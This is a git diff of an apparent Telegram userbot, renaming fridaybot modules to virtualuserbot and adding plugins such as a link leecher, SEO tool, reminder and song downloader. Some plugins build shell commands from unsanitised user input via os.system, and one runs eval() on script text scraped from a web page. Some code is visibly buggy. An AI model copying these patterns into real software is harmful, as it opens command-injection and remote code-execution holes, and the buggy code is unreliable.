draw.ellipse((0, 0, 130, 130), fill="#434343") + draw.line((66, 28, 66, 53), width=14, fill="white") + draw.polygon([(67, 77), (90, 53), (42, 53)], fill="white") + draw.line((40, 87, 90, 87), width=8, fill="white") + canvas.paste(doc, (160, 23)) + draw2 = ImageDraw.Draw(canvas) + draw2.text((320, 40), name, font=font, fill="white") + draw2.text((320, 97), size + type, font=font, fill="#AAAAAA") + return canvas + + async def no_photo(reply, tot): + pfp = Image.new("RGBA", (105, 105), (0, 0, 0, 0)) + pen = ImageDraw.Draw(pfp) + color = random.choice(COLORS) + pen.ellipse((0, 0, 105, 105), fill=color) + letter = "" if not tot else tot[0] + font = ImageFont.truetype("Fonts/Roboto-Regular.ttf", 60) + pen.text((32, 17), letter, font=font, fill="white") + return pfp, color + + async def emoji_fetch(emoji): + emojis = json.loads( + urllib.request.urlopen( + "https://github.com/erenmetesar/modules-repo/raw/master/emojis.txt" + ) + .read() + .decode() + ) + if emoji in emojis: + img = emojis[emoji] + return await Quote.transparent( + urllib.request.urlretrieve(img, ".tmp/emoji.png")[0] + ) + else: + img = emojis["⛔"] + return await Quote.transparent( + urllib.request.urlretrieve(img, ".tmp/emoji.png")[0] + ) + + async def transparent(emoji): + emoji = Image.open(emoji).convert("RGBA") + emoji.thumbnail((40, 40)) + + # Mask + mask = Image.new("L", (40, 40), 0) + draw = ImageDraw.Draw(mask) + draw.ellipse((0, 0, 40, 40), fill=255) + return emoji, mask + + async def replied_user(draw, tot, text, maxlength, title): + namefont = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 38) + namefallback = ImageFont.truetype("Fonts/Quivira.otf", 38) + textfont = ImageFont.truetype("Fonts/Roboto-Regular.ttf", 32) + textfallback = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 38) + maxlength = maxlength + 7 if maxlength < 10 else maxlength + text = text[: maxlength - 2] + ".." if len(text) > maxlength else text + draw.line((165, 90, 165, 170), width=5, fill="white") + space = 0 + for letter in tot: + if not await Quote.fontTest(letter): + draw.text((180 + space, 86), letter, font=namefallback, fill="#888888") + space += namefallback.getsize(letter)[0] + else: + draw.text((180 + space, 86), letter, font=namefont, fill="#888888") + space += namefont.getsize(letter)[0] + space = 0 + for letter in text: + if not await Quote.fontTest(letter): + draw.text((180 + space, 132), letter, font=textfallback, fill="#888888") + space += textfallback.getsize(letter)[0] + else: + draw.text((180 + space, 132), letter, font=textfont, fill="white") + space += textfont.getsize(letter)[0] + + +@borg.on(friday_on_cmd(pattern="q(?: |$)(.*)")) +async def create_sticker(message): + if message.fwd_from: + return + if not message.reply_to_msg_id: + await message.edit("```Reply to any user message.```") + return + if not os.path.isdir(".tmp"): + os.mkdir(".tmp", 0o755) + await message.delete() + reply = await message.get_reply_message() + msg = reply.message + repliedreply = await reply.get_reply_message() + user = ( + await borg.get_entity(reply.forward.sender) if reply.fwd_from else reply.sender + ) + res, canvas = await Quote.process(msg, user, borg, reply, repliedreply) + if not res: + return + canvas.save(".tmp/sticker.webp") + await message.respond(file=".tmp/sticker.webp") + os.remove(".tmp/sticker.webp") + + +@friday.on(friday_on_cmd(pattern=r"qbot(?: |$)(.*)")) +async def _(event): + if event.fwd_from: + return + if not event.reply_to_msg_id: + await event.edit("```Reply to any user message.```") + return + reply_message = await event.get_reply_message() + chat = "@QuotLyBot" + reply_message.sender + if reply_message.sender.bot: + await event.edit("```Reply to actual users message.```") + return + await event.edit("```Making a Quote```") + async with bot.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1031952739) + ) + await bot.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("```Please unblock @QuotLyBot and try again```") + return + if response.text.startswith("Hi!"): + await event.edit( + "```Can you kindly disable your forward privacy settings for good?```" + ) + else: + await event.delete() + await bot.forward_messages(event.chat_id, response.message) + + +CMD_HELP.update( + { + "quotly": "**Quotly**\ +\n\n**Syntax : **`.qbot media `\ +\n**Usage :** you will get quoted message." + } +) diff --git a/fridaybot/modules/rain.py b/virtualuserbot/modules/rain.py similarity index 94% rename from fridaybot/modules/rain.py rename to virtualuserbot/modules/rain.py index 82383594..650e365b 100644 --- a/fridaybot/modules/rain.py +++ b/virtualuserbot/modules/rain.py @@ -4,7 +4,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.rain", outgoing=True)) diff --git a/virtualuserbot/modules/rapidleech.py b/virtualuserbot/modules/rapidleech.py new file mode 100644 index 00000000..6be60351 --- /dev/null +++ b/virtualuserbot/modules/rapidleech.py @@ -0,0 +1,158 @@ +# Copyleft 🄯 2017 UniBorg +# +# The below code might feel like copied, but +# https://t.me/MemeVideoBot?start=1333 +# +# Licensed under the General Public License, Version 3 (the "License"); +# you may use this file in compliance with the License. +# + +"""RapidLeech plugin: Inspired by @SjProjects""" + +import asyncio +import json +import re + +import aiohttp +from bs4 import BeautifulSoup +from telethon.utils import get_inner_text + +from ..utils import admin_cmd + +logger.info(Config.OPEN_LOAD_LOGIN) +# https://t.me/RoseSupport/33801 + + +@borg.on(admin_cmd(pattern="rl")) +async def _(event): + if event.fwd_from: + return + current_message_text = event.raw_text + cmt = current_message_text.split(" ") + reply_message = await event.get_reply_message() + if len(cmt) > 1: + list_of_urls = cmt[1:] + else: + list_of_urls = get_inner_text(reply_message.message, reply_message.entities) + converted_links = "" + if len(list_of_urls) > 0: + converted_links += "Trying to generate IP specific link\n" + for a_url in list_of_urls: + converted_link_infos = await get_direct_ip_specific_link(a_url) + if "url" in converted_link_infos: + converted_link = converted_link_infos["url"] + converted_links += f"[{a_url}]({converted_link}) \n\n" + elif "err" in converted_link_infos: + err = converted_link_infos["err"] + converted_links += f"`{a_url}` returned `{err}`\n\n" + await event.reply(converted_links) + + +async def get_direct_ip_specific_link(link: str): + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255 + OPEN_LOAD_DOMAINS = r"(?:openload\.(?:co|io|link|pw)|oload\.(?:tv|biz|stream|site|xyz|win|download|cloud|cc|icu|fun|club|info|press|pw|life|live|space|services|website)|oladblock\.(?:services|xyz|me)|openloed\.co)" + OPEN_LOAD_VALID_URL = ( + r"(?x)https?://(?P(?:www\.)?%s)/(?:f|embed)/(?P[a-zA-Z0-9-_]+)" + % OPEN_LOAD_DOMAINS + ) + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255 + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/googledrive.py#L16-L27 + GOOGLE_DRIVE_VALID_URLS = r"(?x)https?://(?:(?:docs|drive)\.google\.com/(?:(?:uc|open)\?.*?id=|file/d/)|video\.google\.com/get_player\?.*?docid=)(?P[a-zA-Z0-9_-]{28,})" + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/googledrive.py#L16-L27 + dl_url = None + if "zippyshare.com" in link: + async with aiohttp.ClientSession() as session: + http_response = await session.get(link) + http_response_text = await http_response.text() + response_b_soup = BeautifulSoup(http_response_text, "html.parser") + scripts = response_b_soup.find_all("script", {"type": "text/javascript"}) + # calculations + # check https://github.com/LameLemon/ziggy/blob/master/ziggy.py + for script in scripts: + if "getElementById('dlbutton')" in script.text: + regex_search_exp = re.search( + '= (?P".+" \+ (?P\(.+\)) .+);', script.text + ) + url_raw = regex_search_exp.group("url") + math = regex_search_exp.group("math") + dl_url = url_raw.replace(math, '"' + str(eval(math)) + '"') + break + # + base_url = re.search("http.+.com", link).group() + dl_url = {"url": base_url + eval(dl_url)} + elif re.search(OPEN_LOAD_VALID_URL, link): + # https://stackoverflow.com/a/47726003/4723940 + async with aiohttp.ClientSession() as session: + openload_id = re.search(OPEN_LOAD_VALID_URL, link).group("id") + step_one_url = "https://api.openload.co/1/file/dlticket?file={}&login={}&key={}".format( + openload_id, Config.OPEN_LOAD_LOGIN, Config.OPEN_LOAD_KEY + ) + http_response = await session.get(step_one_url) + http_response_text = await http_response.text() + http_response_json = json.loads(http_response_text) + logger.info(http_response_json) + if http_response_json["msg"] == "OK": + # wait till wait time + await asyncio.sleep(int(http_response_json["result"]["wait_time"])) + # TODO: check if captcha is required + step_two_url = ( + "https://api.openload.co/1/file/dl?file={}&ticket={}".format( + openload_id, http_response_json["result"]["ticket"] + ) + ) + http_response = await session.get(step_two_url) + http_response_text = await http_response.text() + http_response_json = json.loads(http_response_text) + logger.info(http_response_json) + if http_response_json["msg"] == "OK": + dl_file_url = http_response_json["result"]["url"] + dl_file_name = http_response_json["result"]["name"] + dl_file_size = http_response_json["result"]["size"] + dl_url = { + "url": dl_file_url, + "name": dl_file_name, + "size": dl_file_size, + } + else: + dl_url = {"err": http_response_text} + else: + dl_url = {"err": http_response_text} + # https://stackoverflow.com/a/47726003/4723940 + elif re.search(GOOGLE_DRIVE_VALID_URLS, link): + file_id = re.search(GOOGLE_DRIVE_VALID_URLS, link).group("id") + async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session: + step_zero_url = "https://drive.google.com/uc?export=download&id={}".format( + file_id + ) + http_response = await session.get(step_zero_url, allow_redirects=False) + if "location" in http_response.headers: + # in case of small file size, Google downloads directly + file_url = http_response.headers["location"] + if "accounts.google.com" in file_url: + dl_url = {"err": "Private Google Drive URL"} + else: + dl_url = {"url": file_url} + else: + # in case of download warning page + http_response_text = await http_response.text() + response_b_soup = BeautifulSoup(http_response_text, "html.parser") + warning_page_url = "https://drive.google.com" + response_b_soup.find( + "a", {"id": "uc-download-link"} + ).get("href") + file_name_and_size = response_b_soup.find( + "span", {"class": "uc-name-size"} + ).text + http_response_two = await session.get( + warning_page_url, allow_redirects=False + ) + if "location" in http_response_two.headers: + file_url = http_response_two.headers["location"] + if "accounts.google.com" in file_url: + dl_url = {"err": "Private Google Drive URL"} + else: + dl_url = {"url": file_url, "name": file_name_and_size} + else: + dl_url = {"err": "Unsupported Google Drive URL"} + else: + dl_url = {"err": "Unsupported URL"} + return dl_url diff --git a/fridaybot/modules/react.py b/virtualuserbot/modules/react.py similarity index 98% rename from fridaybot/modules/react.py rename to virtualuserbot/modules/react.py index ebe9563d..763839f7 100644 --- a/fridaybot/modules/react.py +++ b/virtualuserbot/modules/react.py @@ -6,7 +6,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.react (.*)", outgoing=True)) diff --git a/virtualuserbot/modules/reminder.py b/virtualuserbot/modules/reminder.py new file mode 100644 index 00000000..8010faae --- /dev/null +++ b/virtualuserbot/modules/reminder.py @@ -0,0 +1,54 @@ +# Created By @krish1303y For Black Lightning +# For Setting Remainder In TG + +import asyncio + +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="skeedy?(.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SkeddyBot" + await event.edit("```Wait...```") + await asyncio.sleep(2) + await event.edit("```Setting You Remainder.........```") + await asyncio.sleep(3) + await event.edit(f"Done Remainder Set For {input_str}") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await conv.send_message("/start") + await conv.get_response() + await conv.send_message("Asia/Kolkata") + await conv.get_response() + await conv.send_message("➕Add" + input_str) + await conv.get_response() + audio = await conv.get_response() + await borg.send_message(event.chat_id, audio.text) + await event.delete() + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SkeddyBot```") + return + if response.text.startswith("I can't find that"): + await event.edit("👀") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) + + CMD_HELP.update( + { + "skeedy": ".skeedy ` \nUse - Set A Remainder" + } + ) diff --git a/fridaybot/modules/remove.bg.py b/virtualuserbot/modules/remove.bg.py similarity index 96% rename from fridaybot/modules/remove.bg.py rename to virtualuserbot/modules/remove.bg.py index 33a39bd8..7c73d350 100644 --- a/fridaybot/modules/remove.bg.py +++ b/virtualuserbot/modules/remove.bg.py @@ -21,8 +21,8 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("rmbg ?(.*)")) @@ -75,7 +75,9 @@ async def _(event): end = datetime.now() ms = (end - start).seconds await event.edit( - "Removed image's Background in {} seconds, powered by VirtualUserbot".format(ms) + "Removed image's Background in {} seconds, powered by VirtualUserbot".format( + ms + ) ) else: await event.edit( diff --git a/fridaybot/modules/rename.py b/virtualuserbot/modules/rename.py similarity index 95% rename from fridaybot/modules/rename.py rename to virtualuserbot/modules/rename.py index 546a00f9..43e27b8f 100644 --- a/fridaybot/modules/rename.py +++ b/virtualuserbot/modules/rename.py @@ -9,7 +9,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/fridaybot/modules/repeat.py b/virtualuserbot/modules/repeat.py similarity index 85% rename from fridaybot/modules/repeat.py rename to virtualuserbot/modules/repeat.py index 9ef79629..86808215 100644 --- a/fridaybot/modules/repeat.py +++ b/virtualuserbot/modules/repeat.py @@ -1,7 +1,7 @@ from asyncio import wait -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("repeat ?(.*)")) diff --git a/virtualuserbot/modules/reveal.py b/virtualuserbot/modules/reveal.py new file mode 100644 index 00000000..c4effab6 --- /dev/null +++ b/virtualuserbot/modules/reveal.py @@ -0,0 +1,33 @@ +# (c)2020 TeleBot +# +# You may not use this plugin without proper authorship and consent from @TeleBotSupport +# +# By @buddhhu, @Itzsjdude +# +import os + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +@bot.on(admin_cmd(pattern=r"reveal", outgoing=True)) +async def _(event): + b = await event.client.download_media(await event.get_reply_message()) + a = open(b, "r") + c = a.read() + a.close() + a = await event.reply("**Reading file...**") + if len(c) > 4095: + await a.edit("`The Total words in this file is more than telegram limits.`") + else: + await event.client.send_message(event.chat_id, f"```{c}```") + await a.delete() + os.remove(b) + + +CMD_HELP.update( + { + "reveal": ".reveal \nUse - Read contents of file and send as a telegram message." + } +) diff --git a/fridaybot/modules/reverse.py b/virtualuserbot/modules/reverse.py similarity index 96% rename from fridaybot/modules/reverse.py rename to virtualuserbot/modules/reverse.py index 74121989..64614dfd 100644 --- a/fridaybot/modules/reverse.py +++ b/virtualuserbot/modules/reverse.py @@ -13,8 +13,8 @@ from bs4 import BeautifulSoup from PIL import Image -from fridaybot import CMD_HELP, bot -from fridaybot.utils import errors_handler, friday_on_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import errors_handler, friday_on_cmd opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" @@ -24,7 +24,7 @@ @friday.on(friday_on_cmd(outgoing=True, pattern=r"reverse(?: |$)(\d*)")) @errors_handler async def okgoogle(img): - """ For .reverse command, Google search images and stickers. """ + """For .reverse command, Google search images and stickers.""" if os.path.isfile("okgoogle.png"): os.remove("okgoogle.png") diff --git a/fridaybot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py similarity index 95% rename from fridaybot/modules/reverseimg.py rename to virtualuserbot/modules/reverseimg.py index 04a7b9c1..d4a146f2 100644 --- a/fridaybot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -16,18 +16,18 @@ from bs4 import BeautifulSoup from PIL import Image -from fridaybot import CMD_HELP, bot -from fridaybot.utils import errors_handler, register +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import errors_handler, friday_on_cmd opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" opener.addheaders = [("User-agent", useragent)] -@register(outgoing=True, pattern=r"^.reverse(?: |$)(\d*)") +@friday.on(friday_on_cmd(pattern=r"reverse(?: |$)(\d*)")) @errors_handler async def okgoogle(img): - """ For .reverse command, Google search images and stickers. """ + """For .reverse command, Google search images and stickers.""" if os.path.isfile("okgoogle.png"): os.remove("okgoogle.png") diff --git a/fridaybot/modules/sangmata.py b/virtualuserbot/modules/sangmata.py similarity index 95% rename from fridaybot/modules/sangmata.py rename to virtualuserbot/modules/sangmata.py index 50ee1b53..1e7787f3 100644 --- a/fridaybot/modules/sangmata.py +++ b/virtualuserbot/modules/sangmata.py @@ -2,7 +2,7 @@ from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd("sg ?(.*)")) @@ -27,11 +27,10 @@ async def _(event): response = conv.wait_event( events.NewMessage(incoming=True, from_users=461843263) ) - # await borg.forward_messages(chat, reply_message) - await silently_send_message(chat, "/generate") + await borg.forward_messages(chat, reply_message) response = await response except YouBlockedUserError: - await event.reply("```Please unblock @sangmatainfo_bot and try again```") + await event.reply("```Please unblock @SangMataInfo_bot and try again```") return if response.text.startswith("Forward"): await event.edit( @@ -54,16 +53,14 @@ async def _(event): return chat = "@fakemailbot" reply_message.sender - if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") - return await event.edit("```Processing```") + link = f"/generate" async with borg.conversation(chat) as conv: try: response = conv.wait_event( events.NewMessage(incoming=True, from_users=177914997) ) - await borg.forward_messages(chat, reply_message) + await conv.send_message(link) response = await response except YouBlockedUserError: await event.reply("```Please unblock @fakemailbot and try again```") diff --git a/fridaybot/modules/sca.py b/virtualuserbot/modules/sca.py similarity index 100% rename from fridaybot/modules/sca.py rename to virtualuserbot/modules/sca.py diff --git a/fridaybot/modules/schd.py b/virtualuserbot/modules/schd.py similarity index 91% rename from fridaybot/modules/schd.py rename to virtualuserbot/modules/schd.py index c7d0b639..8b306966 100644 --- a/fridaybot/modules/schd.py +++ b/virtualuserbot/modules/schd.py @@ -2,8 +2,8 @@ Syntax: .schd ;=; """ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("schd ?(.*)")) diff --git a/fridaybot/modules/screencapture.py b/virtualuserbot/modules/screencapture.py similarity index 95% rename from fridaybot/modules/screencapture.py rename to virtualuserbot/modules/screencapture.py index 18195eb1..e1f29482 100644 --- a/fridaybot/modules/screencapture.py +++ b/virtualuserbot/modules/screencapture.py @@ -5,8 +5,8 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("screencapture (.*)")) diff --git a/fridaybot/modules/screenlong.py b/virtualuserbot/modules/screenlong.py similarity index 97% rename from fridaybot/modules/screenlong.py rename to virtualuserbot/modules/screenlong.py index ae0c72ab..f17e7b41 100644 --- a/fridaybot/modules/screenlong.py +++ b/virtualuserbot/modules/screenlong.py @@ -7,8 +7,8 @@ from selenium import webdriver -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("screenlong (.*)")) diff --git a/fridaybot/modules/screenshot.py b/virtualuserbot/modules/screenshot.py similarity index 96% rename from fridaybot/modules/screenshot.py rename to virtualuserbot/modules/screenshot.py index ac1e160a..87775375 100644 --- a/fridaybot/modules/screenshot.py +++ b/virtualuserbot/modules/screenshot.py @@ -10,8 +10,9 @@ from selenium import webdriver from validators.url import url +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP @bot.on(admin_cmd(pattern="ss (.*)")) diff --git a/fridaybot/modules/sed.py b/virtualuserbot/modules/sed.py similarity index 100% rename from fridaybot/modules/sed.py rename to virtualuserbot/modules/sed.py diff --git a/fridaybot/modules/selfdestruct.py b/virtualuserbot/modules/selfdestruct.py similarity index 86% rename from fridaybot/modules/selfdestruct.py rename to virtualuserbot/modules/selfdestruct.py index 043a67b8..4d082729 100644 --- a/fridaybot/modules/selfdestruct.py +++ b/virtualuserbot/modules/selfdestruct.py @@ -7,13 +7,13 @@ import time -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("sd", outgoing=True)) async def selfdestruct(destroy): - """ For .sd command, make seflf-destructable messages. """ + """For .sd command, make seflf-destructable messages.""" if not destroy.text[0].isalpha() and destroy.text[0] not in ("/", "#", "@", "!"): message = destroy.text counter = int(message[4:6]) diff --git a/fridaybot/modules/send.py b/virtualuserbot/modules/send.py similarity index 84% rename from fridaybot/modules/send.py rename to virtualuserbot/modules/send.py index 86066a96..bd94343b 100644 --- a/fridaybot/modules/send.py +++ b/virtualuserbot/modules/send.py @@ -1,8 +1,8 @@ import asyncio from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd fridaythumb = "./resources/IMG_20200929_103719_628.jpg" @@ -15,7 +15,7 @@ async def send(event): message_id = event.message.id input_str = event.pattern_match.group(1) start = datetime.now() - the_plugin_file = "./fridaybot/modules/{}.py".format(input_str) + the_plugin_file = "./virtualuserbot/modules/{}.py".format(input_str) end = datetime.now() (end - start).seconds men = f"Plugin Name - {input_str}.py \nUploaded By VirtualUserbot" diff --git a/virtualuserbot/modules/seotools.py b/virtualuserbot/modules/seotools.py new file mode 100644 index 00000000..d0b357c2 --- /dev/null +++ b/virtualuserbot/modules/seotools.py @@ -0,0 +1,41 @@ +import os + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="seo (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.edit("processing please wait ") + site = input_str + try: + + cmd = "seoanalyze " + site + " --output-format html > seo.html" + os.system(cmd) + + await event.client.send_file( + event.chat_id, + "seo.html", + caption=f"**Site SEO Analysed Successfully\n\nNote: Open This File With Chrome Or Any Browser\n\n\nSite Analysed By VirtualUserbot\nGet Your superpowers With** [VirtualUserbot](github.com/inukaasith/virtualuserbot)", + ) + com = "rm seo.html" + os.system(com) + await event.delete() + except: + await event.edit("Make Sure The Given Website URL is valid.") + com = "rm seo.html" + os.system(com) + await event.delete() + + +CMD_HELP.update( + { + "seotools": "**Seo Tools**\ +\n\n**Syntax : **`.seo `\ +\n**Usage :** Analyses SEO Of The Website.\ +\n\n\n**Note : ** If The Website is too big, Userbot Crashes Because Of Insufficient Memory" + } +) diff --git a/fridaybot/modules/shout.py b/virtualuserbot/modules/shout.py similarity index 96% rename from fridaybot/modules/shout.py rename to virtualuserbot/modules/shout.py index 2782d02a..c28c5637 100644 --- a/fridaybot/modules/shout.py +++ b/virtualuserbot/modules/shout.py @@ -5,7 +5,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.shout", outgoing=True)) diff --git a/fridaybot/modules/shouts.py b/virtualuserbot/modules/shouts.py similarity index 100% rename from fridaybot/modules/shouts.py rename to virtualuserbot/modules/shouts.py diff --git a/fridaybot/modules/singer.py b/virtualuserbot/modules/singer.py similarity index 100% rename from fridaybot/modules/singer.py rename to virtualuserbot/modules/singer.py diff --git a/virtualuserbot/modules/sizeresize.py b/virtualuserbot/modules/sizeresize.py new file mode 100644 index 00000000..6238499c --- /dev/null +++ b/virtualuserbot/modules/sizeresize.py @@ -0,0 +1,57 @@ +import os + +import PIL + +from virtualuserbot import bot +from virtualuserbot import bot as borg +from virtualuserbot.utils import admin_cmd + +from ..utils import admin_cmd + + +@bot.on(admin_cmd(pattern="size ?(.*)", outgoing=True)) +# DONOT KANG by Sh1vam +# Team DC +async def __(event): + + path = "shivamdownloadesimg" + + reply = await event.get_reply_message() + + download = await borg.download_media(reply.media, path) + image = PIL.Image.open(download) + PIL.Image.open(download) + shi, vam = image.size + # img=shvm.resize((int(sh1),int(vam))) + await event.edit(f"Dimensions Of Image are {shi} by {vam}") + os.remove(download) + + +@bot.on(admin_cmd(pattern="resize ?(.*)", outgoing=True)) +# DONOT KANG by Sh1vam +async def __(event): + + path = "shivamdownloades" + licence = event.text + liscence = licence[8:] + await event.delete() + reply = await event.get_reply_message() + + download = await borg.download_media(reply.media, path) + # image = PIL.Image.open(download) + shvm = PIL.Image.open(download) + shi, vam = liscence.split(":") + img = shvm.resize((int(shi), int(vam))) + # await event.edit(f"Dimensions Of Image are {shi} by {vam}") + img.save("sh1vam.png", format="PNG", optimize=True) + await event.client.send_file( + event.chat_id, "sh1vam.png", force_document=True, reply_to=event.reply_to_msg_id + ) + await event.client.send_file( + event.chat_id, + "sh1vam.png", + force_document=False, + reply_to=event.reply_to_msg_id, + ) + os.remove(download) + os.remove("sh1vam.png") diff --git a/fridaybot/modules/slap.py b/virtualuserbot/modules/slap.py similarity index 96% rename from fridaybot/modules/slap.py rename to virtualuserbot/modules/slap.py index 5c67d8b8..d73b8f2f 100644 --- a/fridaybot/modules/slap.py +++ b/virtualuserbot/modules/slap.py @@ -10,7 +10,7 @@ from telethon.tl.types import MessageEntityMentionName from uniborg.util import friday_on_cmd -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP SLAP_TEMPLATES = [ "{user1} {hits} {user2} with a {item}.", @@ -97,7 +97,9 @@ async def who(event): async def get_user(event): if event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) else: user = event.pattern_match.group(1) diff --git a/fridaybot/modules/snake.py b/virtualuserbot/modules/snake.py similarity index 99% rename from fridaybot/modules/snake.py rename to virtualuserbot/modules/snake.py index 62a44462..47b4ac5f 100644 --- a/fridaybot/modules/snake.py +++ b/virtualuserbot/modules/snake.py @@ -14,7 +14,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/snip.py b/virtualuserbot/modules/snip.py similarity index 96% rename from fridaybot/modules/snip.py rename to virtualuserbot/modules/snip.py index 36f95155..c401fd03 100644 --- a/fridaybot/modules/snip.py +++ b/virtualuserbot/modules/snip.py @@ -9,14 +9,14 @@ from telethon import events, utils from telethon.tl import types -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.snips_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.snips_sql import ( add_snip, get_all_snips, get_snips, remove_snip, ) -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd TYPE_TEXT = 0 TYPE_PHOTO = 1 diff --git a/fridaybot/modules/solarsystem.py b/virtualuserbot/modules/solarsystem.py similarity index 99% rename from fridaybot/modules/solarsystem.py rename to virtualuserbot/modules/solarsystem.py index 3d58cf65..51cb6a8d 100644 --- a/fridaybot/modules/solarsystem.py +++ b/virtualuserbot/modules/solarsystem.py @@ -9,7 +9,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/something.py b/virtualuserbot/modules/something.py similarity index 98% rename from fridaybot/modules/something.py rename to virtualuserbot/modules/something.py index 3ddc3199..ddebb773 100644 --- a/fridaybot/modules/something.py +++ b/virtualuserbot/modules/something.py @@ -2,7 +2,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"lmoon")) diff --git a/fridaybot/modules/song.py b/virtualuserbot/modules/song.py similarity index 93% rename from fridaybot/modules/song.py rename to virtualuserbot/modules/song.py index f3e9a7ad..22ea1bbd 100644 --- a/fridaybot/modules/song.py +++ b/virtualuserbot/modules/song.py @@ -2,8 +2,8 @@ from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import CMD_HELP, bot -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="netease ?(.*)")) diff --git a/virtualuserbot/modules/songs.py b/virtualuserbot/modules/songs.py new file mode 100644 index 00000000..0fecbfc8 --- /dev/null +++ b/virtualuserbot/modules/songs.py @@ -0,0 +1,255 @@ +# plugin made by @hellboi_atul bug fixes by @Mrconfused +# Copyright (C) DARK COBRA 2020. +# if you change these lines you are gay...bc fuck off! +# leechers stay away😑...if you use this code without credit...u gay bitch fuck off...! + + +import asyncio +import os +import re + +from telethon.errors.rpcerrorlist import ( + UserAlreadyParticipantError, + YouBlockedUserError, +) +from telethon.tl.functions.messages import ImportChatInviteRequest +from telethon.tl.types import InputMessagesFilterMusic + +from virtualuserbot import CMD_HELP, bot + +from ..utils import admin_cmd + +try: + pass +except: + os.system("pip install instantmusic") + + +os.system("rm -rf *.mp3") + + +def bruh(name): + + os.system("instantmusic -q -s " + name) + + +# @register(outgoing=True, 